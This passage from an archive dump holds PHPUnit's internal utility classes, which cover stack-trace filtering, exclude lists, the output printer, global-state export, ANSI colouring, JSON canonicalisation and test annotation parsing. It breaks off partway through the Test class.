sys_get_temp_dir; use Composer\Autoload\ClassLoader; use DeepCopy\DeepCopy; use Doctrine\Instantiator\Instantiator; use PharIo\Manifest\Manifest; use PharIo\Version\Version as PharIoVersion; use phpDocumentor\Reflection\DocBlock; use phpDocumentor\Reflection\Project; use phpDocumentor\Reflection\Type; use PhpParser\Parser; use PHPUnit\Framework\TestCase; use Prophecy\Prophet; use ReflectionClass; use ReflectionException; use SebastianBergmann\CliParser\Parser as CliParser; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeUnit\CodeUnit; use SebastianBergmann\CodeUnitReverseLookup\Wizard; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Complexity\Calculator; use SebastianBergmann\Diff\Diff; use SebastianBergmann\Environment\Runtime; use SebastianBergmann\Exporter\Exporter; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; use SebastianBergmann\GlobalState\Snapshot; use SebastianBergmann\Invoker\Invoker; use SebastianBergmann\LinesOfCode\Counter; use SebastianBergmann\ObjectEnumerator\Enumerator; use SebastianBergmann\RecursionContext\Context; use SebastianBergmann\ResourceOperations\ResourceOperations; use SebastianBergmann\Template\Template; use SebastianBergmann\Timer\Timer; use SebastianBergmann\Type\TypeName; use SebastianBergmann\Version; use Symfony\Polyfill\Ctype\Ctype; use TheSeer\Tokenizer\Tokenizer; use Webmozart\Assert\Assert; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExcludeList { /** * @var array */ private const EXCLUDED_CLASS_NAMES = [ // composer ClassLoader::class => 1, // doctrine/instantiator Instantiator::class => 1, // myclabs/deepcopy DeepCopy::class => 1, // nikic/php-parser Parser::class => 1, // phar-io/manifest Manifest::class => 1, // phar-io/version PharIoVersion::class => 1, // phpdocumentor/reflection-common Project::class => 1, // phpdocumentor/reflection-docblock DocBlock::class => 1, // phpdocumentor/type-resolver Type::class => 1, // phpspec/prophecy Prophet::class => 1, // phpunit/phpunit TestCase::class => 2, // phpunit/php-code-coverage CodeCoverage::class => 1, // phpunit/php-file-iterator FileIteratorFacade::class => 1, // phpunit/php-invoker Invoker::class => 1, // phpunit/php-text-template Template::class => 1, // phpunit/php-timer Timer::class => 1, // sebastian/cli-parser CliParser::class => 1, // sebastian/code-unit CodeUnit::class => 1, // sebastian/code-unit-reverse-lookup Wizard::class => 1, // sebastian/comparator Comparator::class => 1, // sebastian/complexity Calculator::class => 1, // sebastian/diff Diff::class => 1, // sebastian/environment Runtime::class => 1, // sebastian/exporter Exporter::class => 1, // sebastian/global-state Snapshot::class => 1, // sebastian/lines-of-code Counter::class => 1, // sebastian/object-enumerator Enumerator::class => 1, // sebastian/recursion-context Context::class => 1, // sebastian/resource-operations ResourceOperations::class => 1, // sebastian/type TypeName::class => 1, // sebastian/version Version::class => 1, // symfony/polyfill-ctype Ctype::class => 1, // theseer/tokenizer Tokenizer::class => 1, // webmozart/assert Assert::class => 1, ]; /** * @var string[] */ private static $directories; public static function addDirectory(string $directory): void { if (!is_dir($directory)) { throw new Exception( sprintf( '"%s" is not a directory', $directory ) ); } self::$directories[] = realpath($directory); } /** * @throws Exception * * @return string[] */ public function getExcludedDirectories(): array { $this->initialize(); return self::$directories; } /** * @throws Exception */ public function isExcluded(string $file): bool { if (defined('PHPUNIT_TESTSUITE')) { return false; } $this->initialize(); foreach (self::$directories as $directory) { if (strpos($file, $directory) === 0) { return true; } } return false; } /** * @throws Exception */ private function initialize(): void { if (self::$directories === null) { self::$directories = []; foreach (self::EXCLUDED_CLASS_NAMES as $className => $parent) { if (!class_exists($className)) { continue; } try { $directory = (new ReflectionClass($className))->getFileName(); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd for ($i = 0; $i < $parent; $i++) { $directory = dirname($directory); } self::$directories[] = $directory; } // Hide process isolation workaround on Windows. if (DIRECTORY_SEPARATOR === '\\') { // tempnam() prefix is limited to first 3 chars. // @see https://php.net/manual/en/function.tempnam.php self::$directories[] = sys_get_temp_dir() . '\\PHP'; } } } } res/readability/vendor/phpunit/phpunit/src/Util/XmlTestListRenderer.php000064400000005224147577714370022472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function get_class; use function implode; use function str_replace; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\PhptTestCase; use RecursiveIteratorIterator; use XMLWriter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class XmlTestListRenderer { /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function render(TestSuite $suite): string { $writer = new XMLWriter; $writer->openMemory(); $writer->setIndent(true); $writer->startDocument(); $writer->startElement('tests'); $currentTestCase = null; foreach (new RecursiveIteratorIterator($suite->getIterator()) as $test) { if ($test instanceof TestCase) { if (get_class($test) !== $currentTestCase) { if ($currentTestCase !== null) { $writer->endElement(); } $writer->startElement('testCaseClass'); $writer->writeAttribute('name', get_class($test)); $currentTestCase = get_class($test); } $writer->startElement('testCaseMethod'); $writer->writeAttribute('name', $test->getName(false)); $writer->writeAttribute('groups', implode(',', $test->getGroups())); if (!empty($test->getDataSetAsString(false))) { $writer->writeAttribute( 'dataSet', str_replace( ' with data set ', '', $test->getDataSetAsString(false) ) ); } $writer->endElement(); } elseif ($test instanceof PhptTestCase) { if ($currentTestCase !== null) { $writer->endElement(); $currentTestCase = null; } $writer->startElement('phptFile'); $writer->writeAttribute('path', $test->getName()); $writer->endElement(); } } if ($currentTestCase !== null) { $writer->endElement(); } $writer->endElement(); return $writer->outputMemory(); } } res/readability/vendor/phpunit/phpunit/src/Util/Type.php000064400000002233147577714370017465 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Type { public static function isType(string $type): bool { switch ($type) { case 'numeric': case 'integer': case 'int': case 'iterable': case 'float': case 'string': case 'boolean': case 'bool': case 'null': case 'array': case 'object': case 'resource': case 'scalar': return true; default: return false; } } public static function isCloneable(object $object): bool { try { $clone = clone $object; } catch (Throwable $t) { return false; } return $clone instanceof $object; } } res/readability/vendor/phpunit/phpunit/src/Util/Filter.php000064400000006537147577714370020004 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function array_unshift; use function defined; use function in_array; use function is_file; use function realpath; use function sprintf; use function strpos; use PHPUnit\Framework\Exception; use PHPUnit\Framework\SyntheticError; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Filter { /** * @throws Exception */ public static function getFilteredStacktrace(Throwable $t): string { $filteredStacktrace = ''; if ($t instanceof SyntheticError) { $eTrace = $t->getSyntheticTrace(); $eFile = $t->getSyntheticFile(); $eLine = $t->getSyntheticLine(); } elseif ($t instanceof Exception) { $eTrace = $t->getSerializableTrace(); $eFile = $t->getFile(); $eLine = $t->getLine(); } else { if ($t->getPrevious()) { $t = $t->getPrevious(); } $eTrace = $t->getTrace(); $eFile = $t->getFile(); $eLine = $t->getLine(); } if (!self::frameExists($eTrace, $eFile, $eLine)) { array_unshift( $eTrace, ['file' => $eFile, 'line' => $eLine] ); } $prefix = defined('__PHPUNIT_PHAR_ROOT__') ? __PHPUNIT_PHAR_ROOT__ : false; $excludeList = new ExcludeList; foreach ($eTrace as $frame) { if (self::shouldPrintFrame($frame, $prefix, $excludeList)) { $filteredStacktrace .= sprintf( "%s:%s\n", $frame['file'], $frame['line'] ?? '?' ); } } return $filteredStacktrace; } private static function shouldPrintFrame(array $frame, $prefix, ExcludeList $excludeList): bool { if (!isset($frame['file'])) { return false; } $file = $frame['file']; $fileIsNotPrefixed = $prefix === false || strpos($file, $prefix) !== 0; // @see https://github.com/sebastianbergmann/phpunit/issues/4033 if (isset($GLOBALS['_SERVER']['SCRIPT_NAME'])) { $script = realpath($GLOBALS['_SERVER']['SCRIPT_NAME']); } else { $script = ''; } return is_file($file) && self::fileIsExcluded($file, $excludeList) && $fileIsNotPrefixed && $file !== $script; } private static function fileIsExcluded(string $file, ExcludeList $excludeList): bool { return (empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) || !in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) && !$excludeList->isExcluded($file); } private static function frameExists(array $trace, string $file, int $line): bool { foreach ($trace as $frame) { if (isset($frame['file'], $frame['line']) && $frame['file'] === $file && $frame['line'] === $line) { return true; } } return false; } } res/readability/vendor/phpunit/phpunit/src/Util/InvalidDataSetException.php000064400000000755147577714370023266 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidDataSetException extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/Util/Exception.php000064400000000737147577714370020511 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/Util/Printer.php000064400000005235147577714370020174 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const ENT_COMPAT; use const ENT_SUBSTITUTE; use const PHP_SAPI; use function assert; use function count; use function dirname; use function explode; use function fclose; use function fopen; use function fsockopen; use function fwrite; use function htmlspecialchars; use function is_resource; use function is_string; use function sprintf; use function str_replace; use function strncmp; use function strpos; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class Printer { /** * @psalm-var closed-resource|resource */ private $stream; /** * @var bool */ private $isPhpStream; /** * @param null|resource|string $out * * @throws Exception */ public function __construct($out = null) { if (is_resource($out)) { $this->stream = $out; return; } if (!is_string($out)) { return; } if (strpos($out, 'socket://') === 0) { $tmp = explode(':', str_replace('socket://', '', $out)); if (count($tmp) !== 2) { throw new Exception( sprintf( '"%s" does not match "socket://hostname:port" format', $out ) ); } $this->stream = fsockopen($tmp[0], (int) $tmp[1]); return; } if (strpos($out, 'php://') === false && !Filesystem::createDirectory(dirname($out))) { throw new Exception( sprintf( 'Directory "%s" was not created', dirname($out) ) ); } $this->stream = fopen($out, 'wb'); $this->isPhpStream = strncmp($out, 'php://', 6) !== 0; } public function write(string $buffer): void { if ($this->stream) { assert(is_resource($this->stream)); fwrite($this->stream, $buffer); } else { if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg') { $buffer = htmlspecialchars($buffer, ENT_COMPAT | ENT_SUBSTITUTE); } print $buffer; } } public function flush(): void { if ($this->stream && $this->isPhpStream) { assert(is_resource($this->stream)); fclose($this->stream); } } } res/readability/vendor/phpunit/phpunit/src/Util/GlobalState.php000064400000013007147577714370020746 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function array_keys; use function array_reverse; use function array_shift; use function defined; use function get_defined_constants; use function get_included_files; use function in_array; use function ini_get_all; use function is_array; use function is_file; use function is_scalar; use function preg_match; use function serialize; use function sprintf; use function strpos; use function strtr; use function substr; use function var_export; use Closure; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GlobalState { /** * @var string[] */ private const SUPER_GLOBAL_ARRAYS = [ '_ENV', '_POST', '_GET', '_COOKIE', '_SERVER', '_FILES', '_REQUEST', ]; /** * @throws Exception */ public static function getIncludedFilesAsString(): string { return self::processIncludedFilesAsString(get_included_files()); } /** * @param string[] $files * * @throws Exception */ public static function processIncludedFilesAsString(array $files): string { $excludeList = new ExcludeList; $prefix = false; $result = ''; if (defined('__PHPUNIT_PHAR__')) { $prefix = 'phar://' . __PHPUNIT_PHAR__ . '/'; } // Do not process bootstrap script array_shift($files); // If bootstrap script was a Composer bin proxy, skip the second entry as well if (substr(strtr($files[0], '\\', '/'), -24) === '/phpunit/phpunit/phpunit') { array_shift($files); } foreach (array_reverse($files) as $file) { if (!empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) && in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) { continue; } if ($prefix !== false && strpos($file, $prefix) === 0) { continue; } // Skip virtual file system protocols if (preg_match('/^(vfs|phpvfs[a-z0-9]+):/', $file)) { continue; } if (!$excludeList->isExcluded($file) && is_file($file)) { $result = 'require_once \'' . $file . "';\n" . $result; } } return $result; } public static function getIniSettingsAsString(): string { $result = ''; foreach (ini_get_all(null, false) as $key => $value) { $result .= sprintf( '@ini_set(%s, %s);' . "\n", self::exportVariable($key), self::exportVariable((string) $value) ); } return $result; } public static function getConstantsAsString(): string { $constants = get_defined_constants(true); $result = ''; if (isset($constants['user'])) { foreach ($constants['user'] as $name => $value) { $result .= sprintf( 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", $name, $name, self::exportVariable($value) ); } } return $result; } public static function getGlobalsAsString(): string { $result = ''; foreach (self::SUPER_GLOBAL_ARRAYS as $superGlobalArray) { if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { foreach (array_keys($GLOBALS[$superGlobalArray]) as $key) { if ($GLOBALS[$superGlobalArray][$key] instanceof Closure) { continue; } $result .= sprintf( '$GLOBALS[\'%s\'][\'%s\'] = %s;' . "\n", $superGlobalArray, $key, self::exportVariable($GLOBALS[$superGlobalArray][$key]) ); } } } $excludeList = self::SUPER_GLOBAL_ARRAYS; $excludeList[] = 'GLOBALS'; foreach (array_keys($GLOBALS) as $key) { if (!$GLOBALS[$key] instanceof Closure && !in_array($key, $excludeList, true)) { $result .= sprintf( '$GLOBALS[\'%s\'] = %s;' . "\n", $key, self::exportVariable($GLOBALS[$key]) ); } } return $result; } private static function exportVariable($variable): string { if (is_scalar($variable) || $variable === null || (is_array($variable) && self::arrayOnlyContainsScalars($variable))) { return var_export($variable, true); } return 'unserialize(' . var_export(serialize($variable), true) . ')'; } private static function arrayOnlyContainsScalars(array $array): bool { $result = true; foreach ($array as $element) { if (is_array($element)) { $result = self::arrayOnlyContainsScalars($element); } elseif (!is_scalar($element) && $element !== null) { $result = false; } if (!$result) { break; } } return $result; } } res/readability/vendor/phpunit/phpunit/src/Util/Color.php000064400000010317147577714370017624 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function array_keys; use function array_map; use function array_values; use function count; use function explode; use function implode; use function min; use function preg_replace; use function preg_replace_callback; use function sprintf; use function strtr; use function trim; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Color { /** * @var array */ private const WHITESPACE_MAP = [ ' ' => '·', "\t" => '⇥', ]; /** * @var array */ private const WHITESPACE_EOL_MAP = [ ' ' => '·', "\t" => '⇥', "\n" => '↵', "\r" => '⟵', ]; /** * @var array */ private static $ansiCodes = [ 'reset' => '0', 'bold' => '1', 'dim' => '2', 'dim-reset' => '22', 'underlined' => '4', 'fg-default' => '39', 'fg-black' => '30', 'fg-red' => '31', 'fg-green' => '32', 'fg-yellow' => '33', 'fg-blue' => '34', 'fg-magenta' => '35', 'fg-cyan' => '36', 'fg-white' => '37', 'bg-default' => '49', 'bg-black' => '40', 'bg-red' => '41', 'bg-green' => '42', 'bg-yellow' => '43', 'bg-blue' => '44', 'bg-magenta' => '45', 'bg-cyan' => '46', 'bg-white' => '47', ]; public static function colorize(string $color, string $buffer): string { if (trim($buffer) === '') { return $buffer; } $codes = array_map('\trim', explode(',', $color)); $styles = []; foreach ($codes as $code) { if (isset(self::$ansiCodes[$code])) { $styles[] = self::$ansiCodes[$code] ?? ''; } } if (empty($styles)) { return $buffer; } return self::optimizeColor(sprintf("\x1b[%sm", implode(';', $styles)) . $buffer . "\x1b[0m"); } public static function colorizePath(string $path, ?string $prevPath = null, bool $colorizeFilename = false): string { if ($prevPath === null) { $prevPath = ''; } $path = explode(DIRECTORY_SEPARATOR, $path); $prevPath = explode(DIRECTORY_SEPARATOR, $prevPath); for ($i = 0; $i < min(count($path), count($prevPath)); $i++) { if ($path[$i] == $prevPath[$i]) { $path[$i] = self::dim($path[$i]); } } if ($colorizeFilename) { $last = count($path) - 1; $path[$last] = preg_replace_callback( '/([\-_\.]+|phpt$)/', static function ($matches) { return self::dim($matches[0]); }, $path[$last] ); } return self::optimizeColor(implode(self::dim(DIRECTORY_SEPARATOR), $path)); } public static function dim(string $buffer): string { if (trim($buffer) === '') { return $buffer; } return "\e[2m{$buffer}\e[22m"; } public static function visualizeWhitespace(string $buffer, bool $visualizeEOL = false): string { $replaceMap = $visualizeEOL ? self::WHITESPACE_EOL_MAP : self::WHITESPACE_MAP; return preg_replace_callback('/\s+/', static function ($matches) use ($replaceMap) { return self::dim(strtr($matches[0], $replaceMap)); }, $buffer); } private static function optimizeColor(string $buffer): string { $patterns = [ "/\e\\[22m\e\\[2m/" => '', "/\e\\[([^m]*)m\e\\[([1-9][0-9;]*)m/" => "\e[$1;$2m", "/(\e\\[[^m]*m)+(\e\\[0m)/" => '$2', ]; return preg_replace(array_keys($patterns), array_values($patterns), $buffer); } } res/readability/vendor/phpunit/phpunit/src/Util/Json.php000064400000005546147577714370017467 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const JSON_PRETTY_PRINT; use const JSON_UNESCAPED_SLASHES; use const JSON_UNESCAPED_UNICODE; use function count; use function is_array; use function is_object; use function json_decode; use function json_encode; use function json_last_error; use function ksort; use PHPUnit\Framework\Exception; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Json { /** * Prettify json string. * * @throws \PHPUnit\Framework\Exception */ public static function prettify(string $json): string { $decodedJson = json_decode($json, false); if (json_last_error()) { throw new Exception( 'Cannot prettify invalid json' ); } return json_encode($decodedJson, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); } /** * To allow comparison of JSON strings, first process them into a consistent * format so that they can be compared as strings. * * @return array ($error, $canonicalized_json) The $error parameter is used * to indicate an error decoding the json. This is used to avoid ambiguity * with JSON strings consisting entirely of 'null' or 'false'. */ public static function canonicalize(string $json): array { $decodedJson = json_decode($json); if (json_last_error()) { return [true, null]; } self::recursiveSort($decodedJson); $reencodedJson = json_encode($decodedJson); return [false, $reencodedJson]; } /** * JSON object keys are unordered while PHP array keys are ordered. * * Sort all array keys to ensure both the expected and actual values have * their keys in the same order. */ private static function recursiveSort(&$json): void { if (!is_array($json)) { // If the object is not empty, change it to an associative array // so we can sort the keys (and we will still re-encode it // correctly, since PHP encodes associative arrays as JSON objects.) // But EMPTY objects MUST remain empty objects. (Otherwise we will // re-encode it as a JSON array rather than a JSON object.) // See #2919. if (is_object($json) && count((array) $json) > 0) { $json = (array) $json; } else { return; } } ksort($json); foreach ($json as $key => &$value) { self::recursiveSort($value); } } } res/readability/vendor/phpunit/phpunit/src/Util/Test.php000064400000062516147577714370017475 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const PHP_OS; use const PHP_VERSION; use function addcslashes; use function array_flip; use function array_key_exists; use function array_merge; use function array_unique; use function array_unshift; use function class_exists; use function count; use function explode; use function extension_loaded; use function function_exists; use function get_class; use function ini_get; use function interface_exists; use function is_array; use function is_int; use function method_exists; use function phpversion; use function preg_match; use function preg_replace; use function sprintf; use function strncmp; use function strpos; use function strtolower; use function trim; use function version_compare; use PHPUnit\Framework\Assert; use PHPUnit\Framework\CodeCoverageException; use PHPUnit\Framework\ExecutionOrderDependency; use PHPUnit\Framework\InvalidCoversTargetException; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\Warning; use PHPUnit\Runner\Version; use PHPUnit\Util\Annotation\Registry; use ReflectionClass; use ReflectionException; use ReflectionMethod; use SebastianBergmann\CodeUnit\CodeUnitCollection; use SebastianBergmann\CodeUnit\InvalidCodeUnitException; use SebastianBergmann\CodeUnit\Mapper; use SebastianBergmann\Environment\OperatingSystem; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Test { /** * @var int */ public const UNKNOWN = -1; /** * @var int */ public const SMALL = 0; /** * @var int */ public const MEDIUM = 1; /** * @var int */ public const LARGE = 2; /** * @var array */ private static $hookMethods = []; /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public static function describe(\PHPUnit\Framework\Test $test): array { if ($test instanceof TestCase) { return [get_class($test), $test->getName()]; } if ($test instanceof SelfDescribing) { return ['', $test->toString()]; } return ['', get_class($test)]; } public static function describeAsString(\PHPUnit\Framework\Test $test): string { if ($test instanceof SelfDescribing) { return $test->toString(); } return get_class($test); } /** * @throws CodeCoverageException * * @return array|bool * @psalm-param class-string $className */ public static function getLinesToBeCovered(string $className, string $methodName) { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); if (!self::shouldCoversAnnotationBeUsed($annotations)) { return false; } return self::getLinesToBeCoveredOrUsed($className, $methodName, 'covers'); } /** * Returns lines of code specified with the @uses annotation. * * @throws CodeCoverageException * @psalm-param class-string $className */ public static function getLinesToBeUsed(string $className, string $methodName): array { return self::getLinesToBeCoveredOrUsed($className, $methodName, 'uses'); } public static function requiresCodeCoverageDataCollection(TestCase $test): bool { $annotations = self::parseTestMethodAnnotations( get_class($test), $test->getName(false) ); // If there is no @covers annotation but a @coversNothing annotation on // the test method then code coverage data does not need to be collected if (isset($annotations['method']['coversNothing'])) { // @see https://github.com/sebastianbergmann/phpunit/issues/4947#issuecomment-1084480950 // return false; } // If there is at least one @covers annotation then // code coverage data needs to be collected if (isset($annotations['method']['covers'])) { return true; } // If there is no @covers annotation but a @coversNothing annotation // then code coverage data does not need to be collected if (isset($annotations['class']['coversNothing'])) { // @see https://github.com/sebastianbergmann/phpunit/issues/4947#issuecomment-1084480950 // return false; } // If there is no @coversNothing annotation then // code coverage data may be collected return true; } /** * @throws Exception * @psalm-param class-string $className */ public static function getRequirements(string $className, string $methodName): array { return self::mergeArraysRecursively( Registry::getInstance()->forClassName($className)->requirements(), Registry::getInstance()->forMethod($className, $methodName)->requirements() ); } /** * Returns the missing requirements for a test. * * @throws Exception * @throws Warning * @psalm-param class-string $className */ public static function getMissingRequirements(string $className, string $methodName): array { $required = self::getRequirements($className, $methodName); $missing = []; $hint = null; if (!empty($required['PHP'])) { $operator = new VersionComparisonOperator(empty($required['PHP']['operator']) ? '>=' : $required['PHP']['operator']); if (!version_compare(PHP_VERSION, $required['PHP']['version'], $operator->asString())) { $missing[] = sprintf('PHP %s %s is required.', $operator->asString(), $required['PHP']['version']); $hint = 'PHP'; } } elseif (!empty($required['PHP_constraint'])) { $version = new \PharIo\Version\Version(self::sanitizeVersionNumber(PHP_VERSION)); if (!$required['PHP_constraint']['constraint']->complies($version)) { $missing[] = sprintf( 'PHP version does not match the required constraint %s.', $required['PHP_constraint']['constraint']->asString() ); $hint = 'PHP_constraint'; } } if (!empty($required['PHPUnit'])) { $phpunitVersion = Version::id(); $operator = new VersionComparisonOperator(empty($required['PHPUnit']['operator']) ? '>=' : $required['PHPUnit']['operator']); if (!version_compare($phpunitVersion, $required['PHPUnit']['version'], $operator->asString())) { $missing[] = sprintf('PHPUnit %s %s is required.', $operator->asString(), $required['PHPUnit']['version']); $hint = $hint ?? 'PHPUnit'; } } elseif (!empty($required['PHPUnit_constraint'])) { $phpunitVersion = new \PharIo\Version\Version(self::sanitizeVersionNumber(Version::id())); if (!$required['PHPUnit_constraint']['constraint']->complies($phpunitVersion)) { $missing[] = sprintf( 'PHPUnit version does not match the required constraint %s.', $required['PHPUnit_constraint']['constraint']->asString() ); $hint = $hint ?? 'PHPUnit_constraint'; } } if (!empty($required['OSFAMILY']) && $required['OSFAMILY'] !== (new OperatingSystem)->getFamily()) { $missing[] = sprintf('Operating system %s is required.', $required['OSFAMILY']); $hint = $hint ?? 'OSFAMILY'; } if (!empty($required['OS'])) { $requiredOsPattern = sprintf('/%s/i', addcslashes($required['OS'], '/')); if (!preg_match($requiredOsPattern, PHP_OS)) { $missing[] = sprintf('Operating system matching %s is required.', $requiredOsPattern); $hint = $hint ?? 'OS'; } } if (!empty($required['functions'])) { foreach ($required['functions'] as $function) { $pieces = explode('::', $function); if (count($pieces) === 2 && class_exists($pieces[0]) && method_exists($pieces[0], $pieces[1])) { continue; } if (function_exists($function)) { continue; } $missing[] = sprintf('Function %s is required.', $function); $hint = $hint ?? 'function_' . $function; } } if (!empty($required['setting'])) { foreach ($required['setting'] as $setting => $value) { if (ini_get($setting) !== $value) { $missing[] = sprintf('Setting "%s" must be "%s".', $setting, $value); $hint = $hint ?? '__SETTING_' . $setting; } } } if (!empty($required['extensions'])) { foreach ($required['extensions'] as $extension) { if (isset($required['extension_versions'][$extension])) { continue; } if (!extension_loaded($extension)) { $missing[] = sprintf('Extension %s is required.', $extension); $hint = $hint ?? 'extension_' . $extension; } } } if (!empty($required['extension_versions'])) { foreach ($required['extension_versions'] as $extension => $req) { $actualVersion = phpversion($extension); $operator = new VersionComparisonOperator(empty($req['operator']) ? '>=' : $req['operator']); if ($actualVersion === false || !version_compare($actualVersion, $req['version'], $operator->asString())) { $missing[] = sprintf('Extension %s %s %s is required.', $extension, $operator->asString(), $req['version']); $hint = $hint ?? 'extension_' . $extension; } } } if ($hint && isset($required['__OFFSET'])) { array_unshift($missing, '__OFFSET_FILE=' . $required['__OFFSET']['__FILE']); array_unshift($missing, '__OFFSET_LINE=' . ($required['__OFFSET'][$hint] ?? 1)); } return $missing; } /** * Returns the provided data for a method. * * @throws Exception * @psalm-param class-string $className */ public static function getProvidedData(string $className, string $methodName): ?array { return Registry::getInstance()->forMethod($className, $methodName)->getProvidedData(); } /** * @psalm-param class-string $className */ public static function parseTestMethodAnnotations(string $className, ?string $methodName = ''): array { $registry = Registry::getInstance(); if ($methodName !== null) { try { return [ 'method' => $registry->forMethod($className, $methodName)->symbolAnnotations(), 'class' => $registry->forClassName($className)->symbolAnnotations(), ]; } catch (Exception $methodNotFound) { // ignored } } return [ 'method' => null, 'class' => $registry->forClassName($className)->symbolAnnotations(), ]; } /** * @psalm-param class-string $className */ public static function getInlineAnnotations(string $className, string $methodName): array { return Registry::getInstance()->forMethod($className, $methodName)->getInlineAnnotations(); } /** @psalm-param class-string $className */ public static function getBackupSettings(string $className, string $methodName): array { return [ 'backupGlobals' => self::getBooleanAnnotationSetting( $className, $methodName, 'backupGlobals' ), 'backupStaticAttributes' => self::getBooleanAnnotationSetting( $className, $methodName, 'backupStaticAttributes' ), ]; } /** * @psalm-param class-string $className * * @return ExecutionOrderDependency[] */ public static function getDependencies(string $className, string $methodName): array { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); $dependsAnnotations = $annotations['class']['depends'] ?? []; if (isset($annotations['method']['depends'])) { $dependsAnnotations = array_merge( $dependsAnnotations, $annotations['method']['depends'] ); } // Normalize dependency name to className::methodName $dependencies = []; foreach ($dependsAnnotations as $value) { $dependencies[] = ExecutionOrderDependency::createFromDependsAnnotation($className, $value); } return array_unique($dependencies); } /** @psalm-param class-string $className */ public static function getGroups(string $className, ?string $methodName = ''): array { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); $groups = []; if (isset($annotations['method']['author'])) { $groups[] = $annotations['method']['author']; } elseif (isset($annotations['class']['author'])) { $groups[] = $annotations['class']['author']; } if (isset($annotations['class']['group'])) { $groups[] = $annotations['class']['group']; } if (isset($annotations['method']['group'])) { $groups[] = $annotations['method']['group']; } if (isset($annotations['class']['ticket'])) { $groups[] = $annotations['class']['ticket']; } if (isset($annotations['method']['ticket'])) { $groups[] = $annotations['method']['ticket']; } foreach (['method', 'class'] as $element) { foreach (['small', 'medium', 'large'] as $size) { if (isset($annotations[$element][$size])) { $groups[] = [$size]; break 2; } } } foreach (['method', 'class'] as $element) { if (isset($annotations[$element]['covers'])) { foreach ($annotations[$element]['covers'] as $coversTarget) { $groups[] = ['__phpunit_covers_' . self::canonicalizeName($coversTarget)]; } } if (isset($annotations[$element]['uses'])) { foreach ($annotations[$element]['uses'] as $usesTarget) { $groups[] = ['__phpunit_uses_' . self::canonicalizeName($usesTarget)]; } } } return array_unique(array_merge([], ...$groups)); } /** @psalm-param class-string $className */ public static function getSize(string $className, ?string $methodName): int { $groups = array_flip(self::getGroups($className, $methodName)); if (isset($groups['large'])) { return self::LARGE; } if (isset($groups['medium'])) { return self::MEDIUM; } if (isset($groups['small'])) { return self::SMALL; } return self::UNKNOWN; } /** @psalm-param class-string $className */ public static function getProcessIsolationSettings(string $className, string $methodName): bool { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); return isset($annotations['class']['runTestsInSeparateProcesses']) || isset($annotations['method']['runInSeparateProcess']); } /** @psalm-param class-string $className */ public static function getClassProcessIsolationSettings(string $className, string $methodName): bool { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); return isset($annotations['class']['runClassInSeparateProcess']); } /** @psalm-param class-string $className */ public static function getPreserveGlobalStateSettings(string $className, string $methodName): ?bool { return self::getBooleanAnnotationSetting( $className, $methodName, 'preserveGlobalState' ); } /** @psalm-param class-string $className */ public static function getHookMethods(string $className): array { if (!class_exists($className, false)) { return self::emptyHookMethodsArray(); } if (!isset(self::$hookMethods[$className])) { self::$hookMethods[$className] = self::emptyHookMethodsArray(); try { foreach ((new ReflectionClass($className))->getMethods() as $method) { if ($method->getDeclaringClass()->getName() === Assert::class) { continue; } if ($method->getDeclaringClass()->getName() === TestCase::class) { continue; } $docBlock = 